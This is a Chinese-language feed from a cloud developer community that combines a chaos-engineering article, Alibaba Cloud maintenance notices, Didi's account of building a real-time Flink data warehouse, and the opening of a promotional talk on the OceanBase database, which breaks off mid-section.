    分布式服务的挑战主要是复杂性,单个服务的故障很难判断对整个系统的影响;service mesh,sidecar 的服务路由、负载均衡等功能的有效性,还有 sidecar 容器本身的可用性。
    一些新兴的部署模式的挑战 如 serverless,现在基本上都是函数加事件的形式,资源调度是否有效,而且 serverless 服务提供商屏蔽了一些中间件,你能掌控的是函数这些服务,那么你可以通过混沌工程去验证你函数调用的一些配置,比如超时配置,还有相关的一些降级策略,这些是否合理。
    以上技术都有相同的共性,比如弹性可扩展、松耦合、容错性高、还有一些易于管理,便于观察这些特性。所以说在云原生时代,通过混沌工程可以更有效的推进系统的“云原生”化。

    每个职位都需要懂混沌工程

    混沌工程是一种思想,他让系统中的每个参与者都学会去考虑一件事情:如果所依赖的某服务中断了服务该怎么办?对于以下四类人群而言,意义尤显突出:

    • 对于架构师来说,可以验证系统架构的容错能力,我们需要面向失败设计的系统,混沌工程的思想就是践行这一原则的方式。
    • 对于开发和运维,可以提高故障的应急效率,实现故障告警、定位、恢复的有效和高效性。
    • 对于测试来说,可以弥补传统测试方法留下的空白,之前的测试方法基本上是从用户的角度去做,而混沌工程是从系统的角度进行测试,降低故障复发率。
    • 对于产品和设计,通过混沌事件查看产品的表现,提升客户使用体验。所以说混沌工程面向的不仅仅是开发、测试,拥有最好的客户体验是每个人的目标 所以实施混沌工程,可以提早发现生产环境上的问题,并且可以以战养战,提升故障应急效率和可以使用体验,逐渐建设高可用的韧性系统。



    混沌工程实操

    在一次完整的演练流程中,需要先做好计划,对相关的演练计划有一个行为预期;演练相关计划的同时,我们推荐的最佳实践是需要配合有业务的自动化测试,每演练一次需要全方位的跑完自动化测试用例,这样才能全面的了解真正的业务产生时对业务造成的影响:
    1.png

    在上面的图中描述了一次完整的故障演练需要经过的步骤,其中的最重要的一步的实践是如何“执行预制混沌实验”?因为这一步需要一个专业的工具,在业内目前最流行的工具是 Netflix 的 Chaos Monkey 和阿里巴巴开源的 ChaosBlade ,我们接下来主要是介绍如何使用 ChaosBlade 来完成一次演练。

    使用 ChaosBlade 去做

    ChaosBlade 是阿里巴巴一款遵循混沌实验模型的混沌实验执行工具,具有场景丰富度高,简单易用等特点,而且扩展场景也特别方便,开源不久就被加入到 CNCF Landspace 中,成为主流的一款混沌工具。目前包含的场景有基础资源、应用服务、容器服务、云资源等。ChaosBlade 下载解压即用,可以通过执行 blade 命令来执行云原生下微服务的演练场景,下面是模拟 Kubernetes 下微服务中数据库调用延迟故障。
    2.jpeg

    使用 AHAS 故障演练平台去做

    AHAS 故障演练平台是阿里云对外部用户开放的云产品,使用方式可参考官方文档。其底层的故障注入能力大部分来源于 ChaosBlade 实现,另一部分使用自身小程序扩展实现。AHAS 相比于 ChaosBlade,除了简单易用的白屏操作之外,还实现了上层的演练编排、权限控制、场景管理等,而且还针对微服务新增应用维度演练,简化演练成本,优化演练体验。

    3.png

    结尾

    混沌工程是一种主动防御的稳定性手段,体现的是反脆弱的思想,实施混沌工程不能只是把故障制造出来,需要有明确的驱动目标。我们要选择合适的工具和平台,控制演练风险,实现常态化演练。阿里巴巴内部从最早引入混沌工程解决微服务的依赖问题,到业务服务、云服务稳态验证,进一步升级到公共云、专有云的业务连续性保障,以及在验证云原生系统的稳定性等方面积累了比较丰富的场景和实践经验;这一些经验沉淀我们都通过开源产品以及云产品 AHAS 一一对外输出。

    ]]>
    【升级】9月1日阿里云华南1、华南2地域网络升级通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【网络】【升级通知】
    升级窗口:北京时间2020年9月1日 00:00-01:00
    升级内容:由于华南地区运营商相关服务存在一定风险,可能导致网络拥塞,为预防对云上客户产生影响,阿里云计划在9月1日凌晨对华南地域网络做预防性调整,将部分移动流量调整至华东出口。
    升级影响:升级过程中通过南方部分省份移动线路访问阿里云华南1(深圳)、华南2(河源)地域的云资源可能会出现1次不超过30s的间断性网络丢包,应用重连即可恢复正常。升级后,大部分省份延时不会有变化,南方部分省份(如四川、福建)移动用户访问阿里云华南1(深圳)、华南2(河源)地域的云资源延时会有部分增加。

    给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

    ]]>
    【升级】8月27日至9月2日Centralnic注册局维护通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【域名】【Centralnic注册局维护通知】

    维护时间:北京时间2020年8月27日 - 9月2日 

    维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行不间断地维护升级。

    维护影响:届时.xyz/.art/.love/.icu/.site/.online/.website/.host/.store/.fun/.press/.space/.tech/.ink/.wiki/.design域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

    1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

    2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

    如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

    由此给您带来的不便,我们表示歉意,敬请谅解。

    ]]>
    【升级】8月30日.COM/.NET注册局系统维护公告 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【域名】【注册局维护通知】

    维护时间:北京时间2020年8月30日 09:00 - 09:45

    维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

    维护影响:届时 .com/.net 域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

    1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

    2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

    如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

    由此给您带来的不便,我们表示歉意,敬请谅解。

    ]]>
    【升级】9月1日消息队列AMQP升级通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【消息队列AMQP】【升级通知】

    升级窗口:北京时间2020年9月1日15:00 - 18:00

    升级内容:华北5(呼和浩特)、华北2(北京)、华东1(杭州)、华东2(上海)、华南1(深圳)、香港、青岛等地域的服务升级。

    升级影响:升级期间消息队列AMQP相关服务访问可能会出现多次闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过 5 分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

    给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

    ]]>
    【升级】9月消息队列MQ升级计划通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【消息队列MQ】【升级通知】

    升级窗口:

    北京时间2020年8月31日 22:00 - 2020年9月1日 04:00

    北京时间2020年9月3日 22:00 - 2020年9月4日 04:00

    北京时间2020年9月7日 22:00 - 2020年9月8日 04:00

    北京时间2020年9月9日 22:00 - 2020年9月10日 04:00

    北京时间2020年9月14日 22:00 - 2020年9月15日 04:00

    北京时间2020年9月16日 22:00 - 2020年9月17日 04:00

    北京时间2020年9月21日 22:00 - 2020年9月22日 04:00

    北京时间2020年9月23日 22:00 - 2020年9月24日 04:00

    北京时间2020年9月25日 22:00 - 2020年9月29日 04:00

    升级内容:所有地域的MQ服务(包含TCP、MQTT、HTTP接入方式)。

    升级影响:升级期间MQ控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端会自动重试机制,一般不会影响业务,但会有异常日志。

    升级期间,消息可能会有重复,应用应该按最值实践,做好消息的幂等;同时可能会有消息延迟的现象。如需在控制台进行管理操作,请避开维护时间段。HTTP接入可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。同时,您可使用监控管理功能对重要业务进行监控,具体设置方法请点击MQ控制台左侧监控报警菜单。

    给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

    ]]>
    【升级】9月3日消息队列AMQP华东1(杭州)地域升级通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【消息队列AMQP】【升级通知】

    升级窗口:北京时间2020年9月3日15:00 - 18:00
    升级内容:华东1(杭州)地域的服务升级。
    升级影响:升级期间消息队列AMQP相关服务访问可能会出现多次闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过 5 分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

    给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

    ]]>
    滴滴基于 Flink 的实时数仓建设实践-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 随着滴滴业务的高速发展,业务对于数据时效性的需求越来越高,而伴随着实时技术的不断发展和成熟,滴滴也对实时建设做了大量的尝试和实践。本文主要以顺风车这个业务为引子,从引擎侧、平台侧和业务侧各个不同方面,来阐述滴滴所做的工作,分享在建设过程中的经验。

    1.实时数仓建设目的

    随着互联网的发展进入下半场,数据的时效性对企业的精细化运营越来越重要,商场如战场,在每天产生的海量数据中,如何能实时有效的挖掘出有价值的信息, 对企业的决策运营策略调整有很大帮助。

    其次从智能商业的角度来讲,数据的结果代表了用户的反馈,获取结果的及时性就显得尤为重要,快速的获取数据反馈能够帮助公司更快的做出决策,更好的进行产品迭代,实时数仓在这一过程中起到了不可替代的作用。

    1.1 解决传统数仓的问题

    从目前数仓建设的现状来看,实时数仓是一个容易让人产生混淆的概念,根据传统经验分析,数仓有一个重要的功能,即能够记录历史。通常,数仓都是希望从业务上线的第一天开始有数据,然后一直记录到现在。但实时流处理技术,又是强调当前处理状态的一个技术,结合当前一线大厂的建设经验和滴滴在该领域的建设现状,我们尝试把公司内实时数仓建设的目的定位为,以数仓建设理论和实时技术,解决由于当前离线数仓数据时效性低解决不了的问题。

    现阶段我们要建设实时数仓的主要原因是:

    • 公司业务对于数据的实时性越来越迫切,需要有实时数据来辅助完成决策
    • 实时数据建设没有规范,数据可用性较差,无法形成数仓体系,资源大量浪费
    • 数据平台工具对整体实时开发的支持也日渐趋于成熟,开发成本降低

    1.2 实时数仓的应用场景

    • 实时 OLAP 分析:OLAP 分析本身就是数仓领域重点解决的问题,基于公司大数据架构团队提供的基于 Flink 计算引擎的 stream sql 工具,Kafka 和 ddmq (滴滴自研)等消息中间件,druid 和 ClickHouse 等 OLAP 数据库,提升数仓的时效性能力,使其具有较优的实时数据分析能力。
    • 实时数据看板:这类场景是目前公司实时侧主要需求场景,例如“全民拼车日”订单和券花销实时大屏曲线展示,顺风车新开城当日分钟级订单侧核心指标数据展示,增长类项目资源投入和收益实时效果展示等。
    • 实时业务监控:滴滴出行大量核心业务指标需要具备实时监控能力,比如安全指标监控,财务指标监控,投诉进线指标监控等。
    • 实时数据接口服务:由于各业务线之间存在很多业务壁垒,导致数仓开发很难熟悉公司内全部业务线,需要与各业务线相关部门在数据加工和数据获取方面进行协作,数仓通过提供实时数据接口服务的方式,向业务方提供数据支持。

    640 1.png

    2. 滴滴顺风车实时数仓建设举例

    在公司内部,我们数据团队有幸与顺风车业务线深入合作,在满足业务方实时数据需求的同时,不断完善实时数仓内容,通过多次迭代,基本满足了顺风车业务方在实时侧的各类业务需求,初步建立起顺风车实时数仓,完成了整体数据分层,包含明细数据和汇总数据,统一了 DWD 层,降低了大数据资源消耗,提高了数据复用性,可对外输出丰富的数据服务。

    数仓具体架构如下图所示:

    640 2.png

    从数据架构图来看,顺风车实时数仓和对应的离线数仓有很多类似的地方。例如分层结构;比如 ODS 层,明细层,汇总层,乃至应用层,他们命名的模式可能都是一样的。但仔细比较不难发现,两者有很多区别:

    • 与离线数仓相比,实时数仓的层次更少一些
    • 从目前建设离线数仓的经验来看,数仓的数据明细层内容会非常丰富,处理明细数据外一般还会包含轻度汇总层的概念,另外离线数仓中应用层数据在数仓内部,但实时数仓中,app 应用层数据已经落入应用系统的存储介质中,可以把该层与数仓的表分离。
    • 应用层少建设的好处:实时处理数据的时候,每建一个层次,数据必然会产生一定的延迟。
    • 汇总层少建的好处:在汇总统计的时候,往往为了容忍一部分数据的延迟,可能会人为的制造一些延迟来保证数据的准确。举例,在统计跨天相关的订单事件中的数据时,可能会等到 00:00:05 或者 00:00:10 再统计,确保 00:00 前的数据已经全部接受到位了,再进行统计。所以,汇总层的层次太多的话,就会更大的加重人为造成的数据延迟。
    • 与离线数仓相比,实时数仓的数据源存储不同
    • 在建设离线数仓的时候,目前滴滴内部整个离线数仓都是建立在 Hive 表之上。但是,在建设实时数仓的时候,同一份表,会使用不同的方式进行存储。比如常见的情况下,明细数据或者汇总数据都会存在 Kafka 里面,但是像城市、渠道等维度信息需要借助 Hbase,MySQL 或者其他 KV 存储等数据库来进行存储。

    接下来,根据顺风车实时数仓架构图,对每一层建设做具体展开:

    2.1 ODS 贴源层建设

    根据顺风车具体场景,目前顺风车数据源主要包括订单相关的 binlog 日志,冒泡和安全相关的 public 日志,流量相关的埋点日志等。这些数据部分已采集写入 Kafka 或 ddmq 等数据通道中,部分数据需要借助内部自研同步工具完成采集,最终基于顺风车数仓ods层建设规范分主题统一写入 Kafka 存储介质中。

    命名规范:ODS 层实时数据源主要包括两种。

    • 一种是在离线采集时已经自动生产的 DDMQ 或者是 Kafka topic,这类型的数据命名方式为采集系统自动生成规范为:cn-binlog-数据库名-数据库名 eg:cn-binlog-ihap_fangyuan-ihap_fangyuan
    • 一种是需要自己进行采集同步到 kafka topic 中,生产的topic命名规范同离线类似:ODS 层采用:realtime_ods_binlog_{源系统库/表名}/ods_log_{日志名} eg: realtime_ods_binlog_ihap_fangyuan

    2.2 DWD 明细层建设

    根据顺风车业务过程作为建模驱动,基于每个具体的业务过程特点,构建最细粒度的明细层事实表;结合顺风车分析师在离线侧的数据使用特点,将明细事实表的某些重要维度属性字段做适当冗余,完成宽表化处理,之后基于当前顺风车业务方对实时数据的需求重点,重点建设交易、财务、体验、安全、流量等几大模块;该层的数据来源于 ODS 层,通过大数据架构提供的 Stream SQL 完成 ETL 工作,对于 binlog 日志的处理主要进行简单的数据清洗、处理数据漂移和数据乱序,以及可能对多个 ODS 表进行 Stream Join,对于流量日志主要是做通用的 ETL 处理和针对顺风车场景的数据过滤,完成非结构化数据的结构化处理和数据的分流;该层的数据除了存储在消息队列 Kafka 中,通常也会把数据实时写入 Druid 数据库中,供查询明细数据和作为简单汇总数据的加工数据源。

    命名规范:DWD 层的表命名使用英文小写字母,单词之间用下划线分开,总长度不能超过 40 个字符,并且应遵循下述规则:realtime_dwd_{业务/pub}_{数据域缩写}_[{业务过程缩写}]_[{自定义表命名标签缩写}]

    • {业务/pub}:参考业务命名
    • {数据域缩写}:参考数据域划分部分
    • {自定义表命名标签缩写}:实体名称可以根据数据仓库转换整合后做一定的业务抽象的名称,该名称应该准确表述实体所代表的业务含义
      样例:realtime_dwd_trip_trd_order_base

    2.3 DIM 层

    • 公共维度层,基于维度建模理念思想,建立整个业务过程的一致性维度,降低数据计算口径和算法不统一风险;
    • DIM 层数据来源于两部分:一部分是 Flink 程序实时处理ODS层数据得到,另外一部分是通过离线任务出仓得到;
    • DIM 层维度数据主要使用 MySQL、Hbase、fusion(滴滴自研KV存储) 三种存储引擎,对于维表数据比较少的情况可以使用 MySQL,对于单条数据大小比较小,查询 QPS 比较高的情况,可以使用 fusion 存储,降低机器内存资源占用,对于数据量比较大,对维表数据变化不是特别敏感的场景,可以使用HBase 存储。

    命名规范:DIM 层的表命名使用英文小写字母,单词之间用下划线分开,总长度不能超过 30 个字符,并且应遵循下述规则:dim_{业务/pub}_{维度定义}[_{自定义命名标签}]:

    • {业务/pub}:参考业务命名
    • {维度定义}:参考维度命名
    • {自定义表命名标签缩写}:实体名称可以根据数据仓库转换整合后做一定的业务抽象的名称,该名称应该准确表述实体所代表的业务含义
      样例:dim_trip_dri_base

    2.4 DWM 汇总层建设

    在建设顺风车实时数仓的汇总层的时候,跟顺风车离线数仓有很多一样的地方,但其具体技术实现会存在很大不同。

    第一:对于一些共性指标的加工,比如 pv,uv,订单业务过程指标等,我们会在汇总层进行统一的运算,确保关于指标的口径是统一在一个固定的模型中完成。对于一些个性指标,从指标复用性的角度出发,确定唯一的时间字段,同时该字段尽可能与其他指标在时间维度上完成拉齐,例如行中异常订单数需要与交易域指标在事件时间上做到拉齐。

    第二:在顺风车汇总层建设中,需要进行多维的主题汇总,因为实时数仓本身是面向主题的,可能每个主题会关心的维度都不一样,所以需要在不同的主题下,按照这个主题关心的维度对数据进行汇总,最后来算业务方需要的汇总指标。在具体操作中,对于 pv 类指标使用 Stream SQL 实现 1 分钟汇总指标作为最小汇总单位指标,在此基础上进行时间维度上的指标累加;对于 uv 类指标直接使用 druid 数据库作为指标汇总容器,根据业务方对汇总指标的及时性和准确性的要求,实现相应的精确去重和非精确去重。

    第三:汇总层建设过程中,还会涉及到衍生维度的加工。在顺风车券相关的汇总指标加工中我们使用 Hbase 的版本机制来构建一个衍生维度的拉链表,通过事件流和 Hbase 维表关联的方式得到实时数据当时的准确维度

    命名规范:DWM 层的表命名使用英文小写字母,单词之间用下划线分开,总长度不能超过 40 个字符,并且应遵循下述规则:realtime_dwm_{业务/pub}_{数据域缩写}_{数据主粒度缩写}_[{自定义表命名标签缩写}]_{统计时间周期范围缩写}:

    • {业务/pub}:参考业务命名
    • {数据域缩写}:参考数据域划分部分
    • {数据主粒度缩写}:指数据主要粒度或数据域的缩写,也是联合主键中的主要维度
    • {自定义表命名标签缩写}:实体名称可以根据数据仓库转换整合后做一定的业务抽象的名称,该名称应该准确表述实体所代表的业务含义
    • {统计时间周期范围缩写}:1d:天增量;td:天累计(全量);1h:小时增量;th:小时累计(全量);1min:分钟增量;tmin:分钟累计(全量)
      样例:realtime_dwm_trip_trd_pas_bus_accum_1min

    2.5 APP 应用层

    该层主要的工作是把实时汇总数据写入应用系统的数据库中,包括用于大屏显示和实时 OLAP 的 Druid 数据库(该数据库除了写入应用数据,也可以写入明细数据完成汇总指标的计算)中,用于实时数据接口服务的 Hbase 数据库,用于实时数据产品的 MySQL 或者 Redis 数据库中。

    命名规范:基于实时数仓的特殊性不做硬性要求。

    3. 顺风车实时数仓建设成果

    截止目前,一共为顺风车业务线建立了增长、交易、体验、安全、财务五大模块,涉及 40+ 的实时看板,涵盖顺风车全部核心业务过程,实时和离线数据误差<0.5%,是顺风车业务线数据分析方面的有利补充,为顺风车当天发券动态策略调整,司乘安全相关监控,实时订单趋势分析等提供了实时数据支持,提高了决策的时效性。

    同时建立在数仓模型之上的实时指标能根据用户需求及时完成口径变更和实时离线数据一致性校验,大大提高了实时指标的开发效率和实时数据的准确性,也为公司内部大范围建设实时数仓提供了有力的理论和实践支持。

    4. 实时数仓建设对数据平台的强依赖

    目前公司内部的实时数仓建设,需要依托数据平台的能力才能真正完成落地,包括 StreamSQL 能力,数据梦工程 StreamSQL IDE 环境和任务运维组件,实时数据源元数据化功能等。

    640 3.png

    4.1 基于StreamSQL的实时数据需求开发

    StreamSQL 是滴滴大数据引擎部在 Flink SQL 基础上完善后形成的一个产品。

    使用 StreamSQL 具有多个优势:

    • 描述性语言:业务方不需要关心底层实现,只需要将业务逻辑描述出来即可。
    • 接口稳定:Flink 版本迭代过程中只要 SQL 语法不发生变化就非常稳定。
    • 问题易排查:逻辑性较强,用户能看懂语法即可调查出错位置。
    • 批流一体化:批处理主要是 HiveSQL 和 Spark SQL,如果 Flink 任务也使用 SQL 的话,批处理任务和流处理任务在语法等方面可以进行共享,最终实现一体化的效果。

    StreamSQL 相对于 Flink SQL (1.9 之前版本)的完善:

    • 完善 DDL:包括上游的消息队列、下游的消息队列和各种存储如 Druid、HBase 都进行了打通,用户方只需要构建一个 source 就可以将上游或者下游描述出来。
    • 内置消息格式解析:消费数据后需要将数据进行提取,但数据格式往往非常复杂,如数据库日志 binlog,每个用户单独实现,难度较大。StreamSQL 将提取库名、表名、提取列等函数内置,用户只需创建 binlog 类型 source,并内置了去重能力。对于 business log 业务日志 StreamSQL 内置了提取日志头,提取业务字段并组装成 Map 的功能。对于 json 数据,用户无需自定义 UDF,只需通过 jsonPath 指定所需字段。
    • 扩展UDX:丰富内置 UDX,如对 JSON、MAP 进行了扩展,这些在滴滴业务使用场景中较多。支持自定义 UDX,用户自定义 UDF 并使用 jar 包即可。兼容 Hive UDX,例如用户原来是一个 Hive SQL 任务,则转换成实时任务不需要较多改动,有助于批流一体化。

    Join 能力扩展:

    • 基于 TTL 的双流 join:在滴滴的流计算业务中有的 join 操作数据对应的跨度比较长,例如顺风车业务发单到接单的时间跨度可能达到一个星期左右,如果这些数据的 join 基于内存操作并不可行,通常将 join 数据放在状态中,窗口通过 TTL 实现,过期自动清理。
    • 维表 join 能力:维表支持 HBase、KVStore、Mysql 等,同时支持 inner、left、right、full join 等多种方式。

    4.2 基于数据梦工厂的 StreamSQL IDE 和任务运维

    StreamSQL IDE:

    • 提供常用的SQL模板:在开发流式 SQL 时不需要从零开始,只需要选择一个 SQL 模板,并在这个模板之上进行修修改改即可达到期望的结果
    • 提供 UDF 的库:相当于一个库如果不知道具有什么含义以及如何使用,用户只需要在 IDE 上搜索到这个库,就能够找到使用说明以及使用案例,提供语法检测与智能提示
    • 提供代码在线DEBUG能力:可以上传本地测试数据或者采样少量 Kafka 等 source 数据 debug,此功能对流计算任务非常重要。提供版本管理功能,可以在业务版本不断升级过程中,提供任务回退功能。

    任务运维:任务运维主要分为四个方面

    • 日志检索:Flink UI 上查询日志体验非常糟糕,滴滴将 Flink 任务日志进行了采集,存储在 ES 中,通过 WEB 化的界面进行检索,方便调查。
    • 指标监控:Flink 指标较多,通过 Flink UI 查看体验糟糕,因此滴滴构建了一个外部的报表平台,可以对指标进行监控。
    • 报警:报警需要做一个平衡,如重启报警有多类如 ( 机器宕机报警、代码错误报警 ),通过设置一天内单个任务报警次数阈值进行平衡,同时也包括存活报警 ( 如 kill、start )、延迟报警、重启报警和 Checkpoint 频繁失败报警 ( 如 checkpoint 周期配置不合理 ) 等。
    • 血缘追踪:实时计算任务链路较长,从采集到消息通道,流计算,再到下游的存储经常包括 4-5个环节,如果无法实现追踪,容易产生灾难性的问题。例如发现某流式任务流量暴涨后,需要先查看其消费的 topic 是否增加,topic 上游采集是否增加,采集的数据库 DB 是否产生不恰当地批量操作或者某个业务在不断增加日志。这类问题需要从下游到上游、从上游到下游多方向的血缘追踪,方便调查原因。

    4.3 基于数据梦工厂的实时数据源元数据化(meta化表)

    将 topic 引入成实时表,metastore 统一管理元数据,实时开发中统一管理 DDL 过程。对实时数仓来说,通过元数据化,可以沉淀实时数仓的建设成果,使数仓建模能更好的落地。

    640 4.png

    目前数据梦工厂支持的元数据化实时数据源包括 Postgre、DDMQ、MySQL、Druid、ClickHouse、Kylin、Kafka。

    5. 面临的挑战和解决方案思考

    虽然目前滴滴在实时数仓建设方面已初具规模,但其面临的问题也不容忽视。

    5.1 实时数仓研发规范

    问题:为了快速响应业务需求,同时满足数仓的需求开发流程,迫切需要建设一套面向实时数据开发的规范白皮书,该白皮书需要涉及需求对接、口径梳理、数据开发、任务发布、任务监控、任务保障。

    目前解决方案:目前由数据 BP 牵头,制定了一套面向实时数据指标的开发规范:

    640 5.png

    常规流程:需求方提出需求,分析师对接需求,提供计算口径,编写需求文档。之后由数仓 BP 和离线数仓同学 check 计算口径,并向实时数仓团队提供离线 Hive 表,实时数仓同学基于离线 Hive 表完成数据探查,基于实时数仓模型完成实时数据需求开发,通过离线口径完成数据自查,最终交付给分析师完成二次校验后指标上线。

    口径变更--业务方发起:业务方发起口径变更,判断是否涉及到实时指标,数仓 BP 对离线和实时口径进行拉齐,向离线数仓团队和实时数仓团队提供更口口径和数据源表,实时数仓团队先上测试看板,验收通过后切换到正式看板

    存在的不足:

    • 当针对某个业务进行新的实时数据建设时,会有一个比较艰难的初始化过程,这个初始化过程中,会和离线有较多耦合,需要确定指标口径,数据源,并进行大量开发测试工作
    • 在指标口径发生变更的时候,需要有一个较好的通知机制,目前还是从人的角度来进行判断。

    5.2 离线和实时数据一致性保证

    目前解决办法:由业务、BP、离线数仓共同保证数据源、计算口径与离线一致,数据加工过程,逐层与离线进行数据比对,并对指标结果进行详细测试,数据校验通过并上线后,根据离线周期进行实时和离线数据的校验。

    640 6.png

    待解决的问题:结合指标管理工具,保证指标口径上的一致性,扩展数据梦工厂功能,在指标加工过程中,增加实时离线比对功能,降低数据比对成本。

    6. 未来展望:批流一体化

    虽然 Flink 具备批流一体化能力,但滴滴目前并没有完全批流一体化,希望先从产品层面实现批流一体化。通过 Meta 化建设,实现整个滴滴只有一个 MetaStore,无论是 Hive、Kafka topic、还是下游的 HBase、ES 都定义到 MetaStore 中,所有的计算引擎包括 Hive、Spark、Presto、Flink 都查询同一个 MetaStore,实现整个 SQL 开发完全一致的效果。根据 SQL 消费的 Source 是表还是流,来区分批处理任务和流处理任务,从产品层面上实现批流一体化效果。

    640 7.png

    更多 Flink 技术交流,可以钉钉扫码加入 Flink 的社区大群~

    最新钉群二维码.jpeg

    ]]>
    蚂蚁架构师郭援非:分布式数据库是金融机构数字化转型的最佳路径-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 ​2020年8月26-28日,在中科软科技举办的中国财险科技应用高峰论坛上,蚂蚁集团高级解决方案架构师郭援非发表了《OceanBase分布式关系数据库助力保险业务创新》的主题演讲,为大家分享了蚂蚁集团企业级分布式关系数据库OceanBase的发展历程、产品价值,以及在保险行业的最佳实践应用。

    以下为演讲整理:

    26CA4DDD-F2FF-48d4-805B-95795AA4E1EE.png

    各位朋友,下午好!

    支付宝在全球有十几亿用户,他们可以同时进行可靠、稳定、高效的支付交易,这背后离不开一个重要的秘密武器——OceanBase。今天我很荣幸向大家介绍OceanBase的发展过程、产品特点,以及在保险行业的最佳实践。

    分布式数据库OceanBase的迭代

    OceanBase数据库立项于2010年,第一个客户是淘宝收藏夹。2013年,OceanBase开始了对SQL的支持。2014年,OceanBase开始支持网商银行的所有业务,成为了全球首个应用在金融核心业务系统的分布式关系数据库。从2014年到2016年,支付宝全部的交易系统和核心账务系统都跑在OceanBase之上。多年来全世界十几亿用户在支付宝上发生的所有交易都是由OceanBase来承载,始终稳若磐石。

    1.png

    2017年,我们开始向更多的外部客户输出我们的技术,我们帮助南京银行打造了“鑫云+”互联网金融业务核心。OceanBase服务过的这些场景里既包括新兴的互联网金融核心业务、传统的金融核心业务,也包括对传统数据库的替换、对MySQL的替换,都非常成功。

    2019年, OceanBase参加了世界数据库范围内最权威的TPC-C认证测试,我们取得了6088万tpmC的成绩,是第二名传统数据库公司甲骨文的两倍。TPC-C绝对不是一个简单的跑分测试,实际上,它是要求被测试的对象必须满足数据库的ACID四个事务特征才能够进行的测试。

    2020年,我们又一次参加了TPC-C测试, 达到了7.07亿tpmC,跑出了接近去年12倍的成绩,再次问鼎TPC-C榜首。今年6月份OceanBase正式独立成公司,我们立志于成为世界领先的企业级数据技术解决方案提供商。

    数据库形态演进

    金融业的核心业务系统,包括保险行业的核心业务系统仍旧大规模使用传统集中式数据库。这种方案带来了两个问题,一是集中式数据库造价非常高,来自于两方面,一方面是软件License很贵;另一方面是硬件很贵,因为它必须使用高端硬件,比如IBM的大机、EMC的高端存储,这些都是非常昂贵的,时间长了再大的企业也很难承受;二是扩展性非常不好,传统集中式数据库都是基于共享存储(shared-storage)的方式做横向扩展,当面临关键业务系统发展需要不断扩容的时候,这种方案有心无力,难以做有效的支撑。

    4.png

    对于上面这种方案业界提了一种补丁方案,十几年前曾有人提出既然传统集中式数据库很贵,那么在单机开源的基础上加一个语法兼容,这样就解决了它昂贵的问题。但是发展到今天,我们在金融领域的核心系统还没有看到广泛使用这种方案。原因很简单,金融业核心系统使用传统集中式数据库主要不是因为它们在语法上的完善和优秀,根本原因在于它们的稳定可靠,而这个补丁方案做不到这些,同时这个方案也没有解决扩展性的问题。

    说到扩展性同样是在十几年以前,最早在互联网企业中提出了这么一种方案,叫做分库分表,一个典型的例子就是在多台单机的MySQL上,用Proxy把MySQL单机集成为MySQL集群,提供很好的算力。这种方案同样具有很大的问题,当计算发生在单个MySQL机器内部的时候一切很好,但是一旦用户的负载跨越MySQL单机边界的时候,你可能会发现分库分表系统的表现并不尽如人意。具体来说,在全局事务、数据强一致性、负载均衡以及复杂SQL方面都不能很好的支持,所以这种方案的使用场景非常受限。截止到今天,在银行、保险、券商行业的核心业务系统中依然没有广泛使用过这种方案。

    那么到底是否存在这样一种数据库系统,它既可以提供传统集中式数据库的高可靠性,又成本可控,同时扩展性良好?在这个基础之上还能够满足事务的ACID、具备强一致性、复杂SQL的处理能力?答案是有,而且可以更好,那就是OceanBase。

    OceanBase的三大独特价值

    首先,OceanBase是一款完全自主研发的分布式关系数据库,代码是百分之百自研的,包括SQL引擎、存储引擎都是我们的工程师自己一行一行代码写出来的。这一点很重要,它意味着当你的数据库出现问题的时候,我们的工程师不需要求助开源社区,我们自己就可以兜底,这对于要求稳定,要求可靠,要求有可预期性的金融领域的核心业务系统是一个刚需,这一点OceanBase可以充分提供。

    2.png

    第二, OceanBase是全世界唯一一款经过长时间复杂金融场景验证的原生分布式数据库。数据库其实是一个非常复杂的系统,它的复杂度甚至不亚于操作系统,对它的各种复杂应用场景的测试不是一个简单的测试程序可以穷尽的。目前,可能唯一有效的方法就是在实践中找到足够复杂、足够多的场景对数据库进行反复的使用,使用到最后没有问题为止大家才会信任它。我们非常高兴的告诉大家,OceanBase做到了。

    第三,OceanBase数据库是全世界范围内唯一一款基于普通的X86云服务器,在TPC-C领域获得第一名的原生分布式数据库。登顶TPC-C榜单意味着OceanBase不但可以提供世界级的性能,而且可以提供单机数据库一样的完整体验,这一点意味着用户可以像使用单机数据库一样使用OceanBase。

    OceanBase核心特性

    在OceanBase数据库中,我们通过“五高一多”的特点定义了分布式数据库的领先标准。

    3.png

    高可用

